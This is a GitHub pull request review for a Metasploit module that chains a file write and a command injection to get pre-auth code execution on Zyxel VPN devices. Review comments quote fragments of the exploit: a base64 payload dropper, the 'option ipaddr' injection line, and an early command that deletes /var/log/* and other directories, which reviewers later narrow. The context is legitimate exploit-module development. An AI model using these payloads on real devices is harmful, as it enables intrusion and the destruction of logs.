-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Zyxel VPN Series Pre-auth Command Injection #19204
Zyxel VPN Series Pre-auth Command Injection #19204
Conversation
'Notes' => { | ||
'Stability' => [ CRASH_SAFE, ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ], | ||
'Reliability' => [ REPEATABLE_SESSION, ] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think this is true based on your exploit and my experience developing an exploit for this target against real hardware. I describe the issue here.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks so much for linking your blog post. Really great work, I hadn't read it prior to writing this module and was unaware of this important caveat.
Do you think it would be a good idea to add an on_new_session
method that attempts to clean up the the most recently created gre
interface created by using something like the following?:
def on_new_session(session)
super
# Get the most recently created GRE tunnel interface, bring it down then delete it to allow for subsquent module runs.
if session.type.to_s.eql? 'meterpreter'
newest_gre = session.sys.process.execute '/bin/sh', "-c \"ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1\""
session.sys.process.execute '/bin/sh', "-c \"ifconfig #{newest_gre} down\""
session.sys.process.execute '/bin/sh', "-c \"ip tunnel del #{newest_gre} mode gre;\""
elsif session.type.to_s.eql? 'shell'
newest_gre = session.shell_command_token "ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1"
session.shell_command_token "ifconfig #{newest_gre} down"
session.shell_command_token "ip tunnel del #{newest_gre} mode gre;"
end
end
This would depend on grep -P
and ifconfig
being present on all affected devices. Also wondering if this might be too invasive to be done by the module, in case the ordering of interfaces isn't as expected and it deletes a gre
being used by the device?
An alternative option would be to print a warning in on_new_session
and provide guidance on how to clean up after the module.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
After chatting with Spencer I made some slight changes to what I suggested above and pushed it up. I think it's about ready to be tested.
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil? | ||
|
||
if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/ | ||
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good call, I've added a set of product dependent version checks.
Once this is ready @jheysel-r7, I'd be happy to test it for you. I have an affected device kicking around. |
command = payload.encoded | ||
command += <<~CMD | ||
2>/var/log/ztplog 1>/var/log/ztplog | ||
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) & |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This will remove a lot of things, including legitimate/unrelated files, I'm not sure this should be done.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good call. I can remove all but the #{payload_filepath}
add a warning to the on_new_session
method informing the user of places they might want to clean up after the module. (I'll add this once I have a better idea of what the on_new_session
method is going to look like).
2>/var/log/ztplog 1>/var/log/ztplog | ||
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) & | ||
CMD | ||
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Since the execution will be triggered later, why the trailing . #{payload_filepath}
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I hear what you're saying. I copied this directly from the PoC but I agree / would assume the following line is ensuring the payload is getting executed. Unless I'm misunderstanding something.
cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"
I'll remove this unless @j-baines has any objections?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Do you still plan to remove this?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey @j-baines, I really appreciate the review 🙏 I'd love to take you up on your offer to test this once we get the last couple of things sorted.
'Notes' => { | ||
'Stability' => [ CRASH_SAFE, ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ], | ||
'Reliability' => [ REPEATABLE_SESSION, ] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks so much for linking your blog post. Really great work, I hadn't read it prior to writing this module and was unaware of this important caveat.
Do you think it would be a good idea to add an on_new_session
method that attempts to clean up the the most recently created gre
interface created by using something like the following?:
def on_new_session(session)
super
# Get the most recently created GRE tunnel interface, bring it down then delete it to allow for subsquent module runs.
if session.type.to_s.eql? 'meterpreter'
newest_gre = session.sys.process.execute '/bin/sh', "-c \"ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1\""
session.sys.process.execute '/bin/sh', "-c \"ifconfig #{newest_gre} down\""
session.sys.process.execute '/bin/sh', "-c \"ip tunnel del #{newest_gre} mode gre;\""
elsif session.type.to_s.eql? 'shell'
newest_gre = session.shell_command_token "ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1"
session.shell_command_token "ifconfig #{newest_gre} down"
session.shell_command_token "ip tunnel del #{newest_gre} mode gre;"
end
end
This would depend on grep -P
and ifconfig
being present on all affected devices. Also wondering if this might be too invasive to be done by the module, in case the ordering of interfaces isn't as expected and it deletes a gre
being used by the device?
An alternative option would be to print a warning in on_new_session
and provide guidance on how to clean up after the module.
command = payload.encoded | ||
command += <<~CMD | ||
2>/var/log/ztplog 1>/var/log/ztplog | ||
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) & |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good call. I can remove all but the #{payload_filepath}
add a warning to the on_new_session
method informing the user of places they might want to clean up after the module. (I'll add this once I have a better idea of what the on_new_session
method is going to look like).
2>/var/log/ztplog 1>/var/log/ztplog | ||
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) & | ||
CMD | ||
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I hear what you're saying. I copied this directly from the PoC but I agree / would assume the following line is ensuring the payload is getting executed. Unless I'm misunderstanding something.
cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"
I'll remove this unless @j-baines has any objections?
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil? | ||
|
||
if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/ | ||
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good call, I've added a set of product dependent version checks.
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
command += <<~CMD | ||
2>/var/log/ztplog 1>/var/log/ztplog | ||
(sleep 10 && /bin/rm -rf #{payload_filepath}) & | ||
CMD |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I checked the output by decoding the generated base64
string and noticed a space is missing between the command and the stderr/stout redirection. Here an example with the command id
:
❯ echo -e "aWQyPi92YXIvbG9nL3p0cGxvZyAxPi92YXIvbG9nL3p0cGxvZwooc2xlZXAgMTAgJiYgL2Jpbi9ybSAtcmYgL3RtcC9GLnFzcikgJgo=" | base64 -d
id2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf /tmp/F.qsr) &
I think this would prevent the execution of the command.
Thank you @jheysel-r7 for updating the module and adding some description about mock testing. I added a couple of comments for you to review when you get a chance. Also, I tested the
I noticed the PoC sends a GET request to |
Thanks for the review @cdelafuente-r7 and for your help offline to find Now the module will print the output of the
|
Thanks for updating this @jheysel-r7 ! Everything looks good to me now. I tested against the
|
Release NotesThis adds an exploit module that leverages multiple vulnerabilities in order to obtain pre-auth command injection on multiple VPN Series Zyxel devices. |
This module is based off the work from the following blog post which exploits multiple vulnerabilities in order to obtain pre-auth command injection the multiple VPN Series Zyxel devices. The exploit chain uses CVE-2023-33012 which is a command injection vulnerability which can be exploited when uploading a new configuration to
/ztp/cgi-bin/parse_config.py
by appending a command to theoption ipaddr
field.The command injection is length limited to
0x14
bytes and is why this exploits chains a .qsr file write vulnerability as well in order to write the payload to a file which has no length limit and then call the payload with the command injection.The advisory states that USG series and others are also affected despite the blog post above being written specifically for the VPN series of devices.
Testing Attempt
I spun up a the following mock server in order to test the happy path of the PoC and to ensure the module interacted with the mock server in the same way the PoC did (the PoC can be found at the bottom of the blog post)
mock-server.py
PoC running against mock server:
Module running against mock server:
Emulation Attempt
I had attempted to emulated the firmware by first decrypting it using the known method. More info here
I downloaded the following from this link:
And was able to spin up a mips environment like so:
I wasn't able find a networking configuration that allowed me to connect to my host and the internet at the same so I shut down the instance and rebooted depending on what I needed to connect to. After I transferred the decrypted firmware from my host to the device, I switched to the internet connected configuration so I could install tools to try and debug/ figure out why my chroot attempts weren't working.
start-debian-mips-connected-to-internet.sh
start-debian-mips-connected-to-host.sh
Once the mips instance was running and I had mounted the squashfs file system of the firmware onto the mips device my plan was to run
chroot ./squashfs-root/ /bin/sh
to get a shell running in the context of the vulnerable firmware and then from there start the apache server that hosts the vulnerable endpoint, however I was seeing the following error when running as root: